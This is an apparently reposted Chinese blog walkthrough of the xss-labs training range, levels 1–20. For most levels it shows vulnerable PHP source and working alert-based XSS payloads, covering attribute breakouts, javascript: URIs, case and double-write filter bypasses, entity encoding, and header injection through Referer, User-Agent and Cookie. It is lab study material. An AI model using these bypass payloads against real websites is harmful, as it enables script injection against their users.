【Web安全靶场】xss-labs-master 1-20

xss-labs-master

其他靶场见专栏

文章目录

  • xss-labs-master
    • level-1
    • level-2
    • level-3
    • level-4
    • level-5
    • level-6
    • level-7
    • level-8
    • level-9
    • level-10
    • level-11
    • level-12
    • level-13
    • level-14
    • level-15
    • level-16
    • level-17
    • level-18
    • level-19
    • level-20

level-1

第一关没有进行任何限制,get请求参数直接回显至界面,修改参数值就行。

?name=<script>alert(1)</script>

level-2

第二关页面是一个输入框,输入的值会回显至页面中,所以先试一下**<script>alert(1)</script>**发现页面回显的消息直接就是我们输入的内容,并没有任何作用。

在这里插入图片描述

根据上面的图片可以知道我们的尖括号被转义为实体(没看到的话就选中右击选择Edit as HTML),因为源代码中使用了htmlspecialchars($str)。下面的敏感符号也会转义为HTML实体:&号,左右尖括号,单双引号,(这个函数具有三个参数,第一个参数为必选参数,表示待处理的字符串,第二个参数为可选参数,专门针对字符串中的引号操作,默认值:ENT_COMPAT,只转换双引号。ENT_QUOTS,单引号和双引号同时转换。ENT_NOQUOTES,不对引号进行转换。第三个参数为处理字符串的指定字符集)

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

但是input标签中我们输入的值也会显示在那,所以我尝试构造闭合,在input标签实现跨站脚本攻击。

<input name=keyword  value="'.$str.'">

首先尝试输入一个引号探针试一下引号有没有被过滤,没有被过滤就使用onfocus焦点事件、onblur竞争焦点事件。

  • onfocus焦点事件:

在这里插入图片描述

11" onfocus=alert(1)>
  • onblur竞争焦点事件:

在这里插入图片描述

1" onblur=alert(1)>

以及其他可以改变DOM结构的payload都可以…

level-3

输入<script>alert(1)</script>发现回显的地方尖括号变为HTML实体了,输入双引号尝试在input标签构造闭合,发现双引号被转为HTML实体。查看源代码,发现回显的地方和输入框的value均使用了htmlspecialchars函数。

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<input name=keyword  value='".htmlspecialchars($str)."'>

它对双引号进行了防御但是没有对单引号进行防御,所以我们可以通过事件标签促发xss攻击,因为**单引号在某些浏览器也可以和双引号构成闭合。**这里使用onfocus鼠标事件,任何其他可以改变DOM结构的是按都可以促发攻击。

  • onfocus鼠标事件:

在这里插入图片描述

1' onfocus='alert(/xss/)

level-4

这一关还是一个输入框加上一个回显,输入一个探针<script>'",查看input标签发现尖括号被吞了,但是单引号双引号正常存在。查看源代码发现尖括号被替换了:

$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str3.'">

在这里插入图片描述

所以直接使用onfocus或者onblue等等,但是不能使用改变DOM结构的标签了。

  • onfocus鼠标事件:

在这里插入图片描述

1" onfocus="alert(1)

注意点就是需要闭合后面的双引号…

level-5

这一关还是一个输入框和回显,输入<script>‘”探针试一下,发现script被下划线截断了,单双引号尖括号还是正常存在,所以猜测这一关就是对敏感词进行截断的,输入on发现on一样被截断,所以直接使用script和onfocus之类的不行了。查看源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str3.'">

通过代码可知,这一关对<script和on进行截断,并且使用小写转化函数,所以不能使用大小写绕过了。我们可以做到的就是闭合,闭合的话就可以改变DOM结构,但是很多的标签触发条件都是onfocus什么的,这时就可以使用javascript伪协议。

  • javascript伪协议:

在这里插入图片描述

1"><a href="javascript:alert(1)">xssssss</a>

level-6

输入探针<sCript><script"'Oonn发现script和on被添加下划线,但是大小写绕过的script却没有被添加下划线,同样的单双引号、尖括号也没有被转义。

在这里插入图片描述

查看源代码发现好多的标签选项都被过滤了,但是这没有使用小写转换函数,所以直接使用大小写绕过是可以的。

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str6.'">
  • javascript伪协议:

在这里插入图片描述

"><a HREF="javascript:alert(1)">xsssss</a>
  • onfocus鼠标事件:

在这里插入图片描述

1" Onfocus=alert(1)>

level-7

输入探针<sCript><script"'Oonn发现script和on无论大小写都不见了,单双引号也不见了,但是尖括号还在,所以估计这些内容是被小写转化并且被replace了。

在这里插入图片描述

进行replace操作一般会尝试双写绕过,所以输入scrscriptipt发现,这一关仅仅消去了一个script标签,消去之后还会拼接成一个新的script,所以可以进行双写绕过。查看源代码:

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str6.'">
  • javascript伪协议双写绕过:

在这里插入图片描述

1"><a hrhrefef="javascrscriptipt:alert(1)">xssssss</a>

level-8

这一关和前面的就有些不一样了,我们输入的内容会作为a标签的href值,所以我们尝试输入script,发现script被截断了。查看源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);<input name=keyword  value="'.htmlspecialchars($str).'">
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

由于这是href的值我们可以尝试构造javascript伪协议,script被截断了,所以我们可以尝试将其转化为HTML实体:

javascript  =>   &#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;
  • 转化为HTML实体:
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

在这里插入图片描述

level-9

这一道题也是友情链接,他给出的提示是“您的链接不合法?有没有!”输入sCript,发现sCript转化为小写并且被截断,并且使用HTML实体显示的是链接不合法,所以我们要给他一个正确的链接,它认为正确的链接是什么呢?查看源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);<input name=keyword  value="'.htmlspecialchars($str).'">if (false === strpos($str7, 'http://')) {echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
} else {echo '<center><BR><a href="' . $str7 . '">友情链接</a></center>';
}

这一关使用了strpos函数,这个函数的作用是返回指定文本第一次出现的位置,如果没有出现那就返回false,所以我们只需要输入有http://的链接就行了,对于伪协议,我们把它加上,并且把它注释掉就行了,并且要加在后面。

  • 转化为HTML实体的伪协议:

在这里插入图片描述

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)//http://

level-10

这一关是值是在URL的参数上,不在输入框上了,意味着鼠标事件没有用了,必须使用尖括号。使用探针sCript<'>"on=On发现,只有尖括号被转化成HTML实体。本来想着将尖括号转化成HTML实体看看行不行,但是发现转化的实体是带有&参数分隔符的。查看源代码发现,有一个被隐藏的form表单,里面有三个参数:

<form id="search"><input name="t_link" value="" type="hidden"><input name="t_history" value="" type="hidden"><input name="t_sort" value="" type="hidden">
</form>

所以在URL中加上这三个参数,发现仅仅第三个input标签变化了,所以猜测第三个标签是在value选项中插入值的。

在这里插入图片描述

查看源代码确实如此:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

所以我们尝试在t_sort中使用探针,仅仅尖括号被改变了而已,所以我们直接onfocus鼠标事件,注意要将type的值改为text否则无法显示出来,或者F12修改Elements也可。

  • onfocus鼠标事件:
  • 在这里插入图片描述
?keyword=1&t_link=1&t_history=1&t_sort=1" onfocus="alert(1)" type="text 

level-11

这一关还是URL参数的,有了上一关的经验,这次查看源代码,发现多出了一个input标签:

<form id="search"><input name="t_link" value="" type="hidden"><input name="t_history" value="" type="hidden"><input name="t_sort" value="" type="hidden"><input name="t_ref" value="http://192.168.255.128/xss-labs-master/level10.php?keyword=1&amp;t_link=1&amp;t_history=1&amp;t_sort=1%22%20οnmοuseοver=%22alert(1)%22%20type=%22text" type="hidden">
</form>

第四个标签的值很熟悉,这是我上一个链接,所以我猜测这是和referer头有关的,所以抓包!构造闭合!鼠标事件!改type的值!查看源代码确实如此,原来的t_sort不能用了:

<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
  • Refer头:

在这里插入图片描述

Referer: 1" onmouseover=alert(1) type="text

level-12

查看源代码发现还是多出来一个input标签,但是它的名字是t_ua,所以猜测这是和User-Agent有关的,查看源代码:

$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);<form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ua"  value="'.$str33.'" type="hidden">
</form>

可见这一关对引号和on之类的没有进行过滤,所以我们进行抓包,从User-Agent中实现xss攻击。

在这里插入图片描述

User-Agent: 1" onfocus=alert(1) type="text

level-13

这一关和前面一样也是隐藏了一些输入框,对于这一关,隐藏了一个t_cook,所以猜测这是和cookie相关的,分析源代码:

$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);<form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_cook"  value="'.$str33.'" type="hidden">
</form>

进行抓包,对input使用onfocus鼠标事件:

在这里插入图片描述

Cookie: user=1" onfocus=alert(1) type="text

level-14

网上说这一关有点问题

level-15

这一道题没有任何输入框也没与任何回显,查看元素发现底下有一个**<!-- ngInclude: undefined -->**,一开始并不知道这是什么东西,搜了一下,ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点,包含的文件需要包含在同一个域名下。查看了一下源代码,发现这一关是可以接收参数了,因为一开始进去没有参数所以ngInclude才是undefined:

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

因为这里对闭合符号进行处理,所以我想的是传递一个有漏洞的界面,将第一关传上去,注意要加上单引号:

在这里插入图片描述

但是如果将<script>alert(1)</script>作为第一关的答案传上去,是没有弹窗的,但是这个script标签会在代码元素中,那就试一下使用a标签,结果可知,主动触发的是可以的。

在这里插入图片描述

level-16

这一关正常了,是一个url参数的题,首先输入一下探针吧,<Script '" Oonn>=href,结果是尖括号、空格、script被替换,其中空格和尖括号被替换成HTML实体,script被过滤,大小转化为小写。查看源代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);

没有空格的化可以使用%0a和%ob等代替,script使用不了就用input标签的onfocus:

在这里插入图片描述

?keyword=<input%0atype="text"%0aonfocus=alert(1)>

level-17

这一关进去之后会看到一个“该插件不受支持”,查看元素发现有一个**<embed src=“xsf01.swf?=” width=“100%” heigth=“100%”>**,所以猜测这个src是和参数有关的,查看源代码:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

果然存在两个参数,我们传递这两个参数的时候,点号会把他们连接起来,尝试使用引号和尖括号发现都被转义了,当我发现src中会截断空格,所以尝试在arg01中添加空格:

在这里插入图片描述

?arg01=1  onmouseover&arg02=alert(1)

level-18

这一关和上一关一样的,用一样的方法就可以了…搞不懂了…

level18.php?arg01=1 onmouseover&arg02=alert(1)

level-19

这一关我尝试使用空格截断,发现并不可以所以查看源代码,发现这一关在双引号中进行点号运算,所以空格截断不可取:

<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

使用单引号尝试能不能和闭合一下,发现单引号仅仅是普通文本,尖括号也是作为普通文本,这样子常规的方法无法下手了。接着我搜索xsf03.swf是什么来的,于是访问一下http://192.168.255.128/xss-labs-master/xsf03.swf,将文件下载下来,要使用专用的FlashPlayer播放器打开,但是使用了也打不开。。。网上搜了一下,弹出了个swf反编译,所以试了一下。得到version未定义,接着传入参数<a href=‘javascript:alert(/xss/)’>xss</a>,但最后结果没有显示,不会做了,逆向的题

level-20

不会做…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/717109.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pytorch_神经网络构建6

文章目录 强化学习概念实现qLearning基于这个思路,那么解决这个问题的代码如下 强化学习概念 强化学习有一个非常直观的表现&#xff0c;就是从出发点到目标之间存在着一个连续的状态转换&#xff0c;比如说从状态一到状态456&#xff0c;而每一个状态都有多种的行为&#xff…

全国青少年软件编程(Python)等级考试试卷(一级) 测试卷2021年12月

第 1 题 【 单选题 】 下面程序的运行结果是什么&#xff1f;&#xff08; &#xff09; a10 b5 ca*b print(c) A :10 B :15 C :50 D :5 正确答案:C 试题解析: 第 2 题 【 单选题 】 与a>b and b>c等价的是&#xff1f;&#xff08; &#xff09; A…

Libevent的使用及reactor模型

Libevent 是一个用C语言编写的、轻量级的开源高性能事件通知库&#xff0c;主要有以下几个亮点&#xff1a;事件驱动&#xff08; event-driven&#xff09;&#xff0c;高性能;轻量级&#xff0c;专注于网络&#xff0c;不如 ACE 那么臃肿庞大&#xff1b;源代码相当精炼、易读…

aop监控spring cloud接口超时,并记录到数据库

引入pom <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/POM/4.0.0…

宝塔面板安装各种组件以及部署应用服务

在linux服务器安装宝塔面板 一、从宝塔官网下载exe安装包&#xff0c;安装命令从宝塔官网&#xff08;https://www.bt.cn/&#xff09;获取 yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh二、安…

自动驾驶加速落地,激光雷达放量可期(上)

1 激光雷达应用广泛&#xff0c;汽车有望成最大催化 激光雷达&#xff08;LiDAR&#xff09;是一种主动遥感技术&#xff0c;通过测定传感器发出的激光在传感器与目标物体之间的传播距离&#xff0c;来分析目标地物表面的反射能量大小、反射波谱的幅度、频率和相位等信息&#…

一文扫盲:订单管理系统,订单是公司生命线。

hello&#xff0c;我是贝格前端工场&#xff0c;本期给大家分享订单管理系统的知识点&#xff0c;欢迎老铁们点赞、关注&#xff0c;如有需求可以私信我们。 一、什么是订单管理系统 单管理系统是一种用于管理和处理订单的软件系统。它通常用于企业、电子商务平台、零售店等需…

技术小知识:面向对象和过程的区别 ⑤

一、思想区别 面相对象&#xff1a;始终把所有事情思考归类、抽离封装成对象来调用完成。 面向过程&#xff1a;直接平铺展开按顺序执行完成任务。 面向对象多了很多对象的创建、使用&#xff0c;销毁的过程资源消耗。是一种模块化编程思想。 https://www.cnblogs.com/kuangmen…

网络爬虫弹幕

1.分析网页&#xff0c;获取代码&#xff0c;提取时间 想要提取出弹幕所在的节点&#xff0c;我们要使用 Beautiful Soup 解析模块&#xff0c;需要从 bs4 中导入 BeautifulSoup 模块 创建一个 BeautifulSoup 对象&#xff0c;传入变量 xml 和解析器 lxml&#xff0c;将该对象赋…

2.2 mul、div、and、or乘除指令及所有寄存器英文名

汇编语言 1. mul乘指令 两个相乘的数&#xff0c;要么都是8位&#xff0c;要么都是16位 两个8位数相乘 一个默认放在al中&#xff0c;另一个放在8位reg或内存字节单元中8位乘法&#xff0c;结果默认放在ax中例如&#xff1a;计算100*10 100和10小于255&#xff0c;可以做8位…

信息系统安全与对抗-作业2

目录 1、使用自己姓名拼音创建一个账户&#xff0c; 并使用命令和图形化查看 2、使用自己拼音打头字母创建一个隐藏账户 &#xff0c;并使用命令和图形化查看 3、使用命令启动 telnet 服务 4、使用命令打开防火墙 23 端口 5、熟悉LINUX系统&#xff0c;使用命令行创建用户…

Spring Cloud Nacos集成Seata2.0 AT模式

Spring Cloud Nacos集成Seata2.0 AT模式 以CentOS 7为例&#xff0c;介绍Spring Cloud Nacos集成Seata2.0 AT模式的流程。分成两个步骤&#xff1a;1.安装配置seata-server、2.项目集成seata-client 一、下载seata-server安装包 根据自己的操作系统选择要下载的安装包格式&a…

2023年第十四届蓝桥杯大赛软件类省赛C/C++大学A组真题

2023年第十四届蓝桥杯大赛软件类省赛C/C大学A组部分真题和题解分享 文章目录 蓝桥杯2023年第十四届省赛真题-平方差思路题解 蓝桥杯2023年第十四届省赛真题-更小的数思路题解 蓝桥杯2023年第十四届省赛真题-颜色平衡树思路题解 蓝桥杯2023年第十四届省赛真题-买瓜思路题解 蓝桥…

05-Linux部署MySQL

Linux部署MySQL 在今后的使用过程中&#xff0c;需要频繁使用Linux系统&#xff0c;所以在Linux上安装软是必不可少的操作 。 前置要求 需要学习前四章知识&#xff0c;初识Linux、Linux基础命令、Linux权限管理、Linux高阶技巧这4个章节。需要开启多态虚拟机&#xff0c;电…

KubeSphere简介,功能介绍,优势,架构说明及应用场景

KubeSphere 是在目前主流容器调度平台 Kubernetes 之上构建的企业级分布式多租户容器平台&#xff0c;提供简单易用的操作界面以及向导式操作方式&#xff0c;在降低用户使用容器调度平台学习成本的同时&#xff0c;极大减轻开发、测试、运维的日常工作的复杂度&#xff0c;旨…

每日一题 — 快乐数

202. 快乐数 - 力扣&#xff08;LeetCode&#xff09; 思路&#xff1a; 可以借用判断链表是否有环的思想&#xff1a; 定义快慢指针&#xff08;两个变量赋值就行&#xff09;快指针走两次&#xff0c;慢指针走一次快慢指针相遇&#xff0c;看是不是等于一 public int bitSum(…

缓存相关问题:雪崩、穿透、预热、更新、降级的深度解析

✨✨祝屏幕前的小伙伴们每天都有好运相伴左右✨✨ &#x1f388;&#x1f388;作者主页&#xff1a; 喔的嘛呀&#x1f388;&#x1f388; 目录 引言 1. 缓存雪崩 1.1 问题描述 1.2 解决方案 1.2.1 加锁防止并发重建缓存 2. 缓存穿透 2.1 问题描述 2.2 解决方案 2.2.1 …

【解决方案】ArcGIS Engine二次开发时,运行后出现“正尝试在 OS 加载程序锁内执行托管代码。不要尝试在 DllMain...”

我们在做ArcGIS Engine二次开发时&#xff0c;特别是新手&#xff0c;安装好了开发环境&#xff0c;满怀信心的准备将按照教程搭建好的框架在Visual Studio中进行运行。点击运行后&#xff0c;却出现了“正尝试在 OS 加载程序锁内执行托管代码。不要尝试在 DllMain 或映像初始化…

【C语言】内存操作篇---动态内存管理----malloc,realloc,calloc和free的用法【图文详解】

欢迎来CILMY23的博客喔&#xff0c;本篇为【C语言】内存操作篇---动态内存管理----malloc&#xff0c;realloc&#xff0c;calloc和free的用法【图文详解】&#xff0c;感谢观看&#xff0c;支持的可以给个一键三连&#xff0c;点赞关注收藏。 前言 在学完结构体后&#xff08;…

探索设计模式的魅力:备忘录模式揭秘-实现时光回溯、一键还原、后悔药、历史的守护者和穿越时空隧道

​&#x1f308; 个人主页&#xff1a;danci_ &#x1f525; 系列专栏&#xff1a;《设计模式》 &#x1f4aa;&#x1f3fb; 制定明确可量化的目标&#xff0c;并且坚持默默的做事。 备忘录模式揭秘-实现时光回溯、一键还原、后悔药和穿越时空隧道 文章目录 一、案例场景&…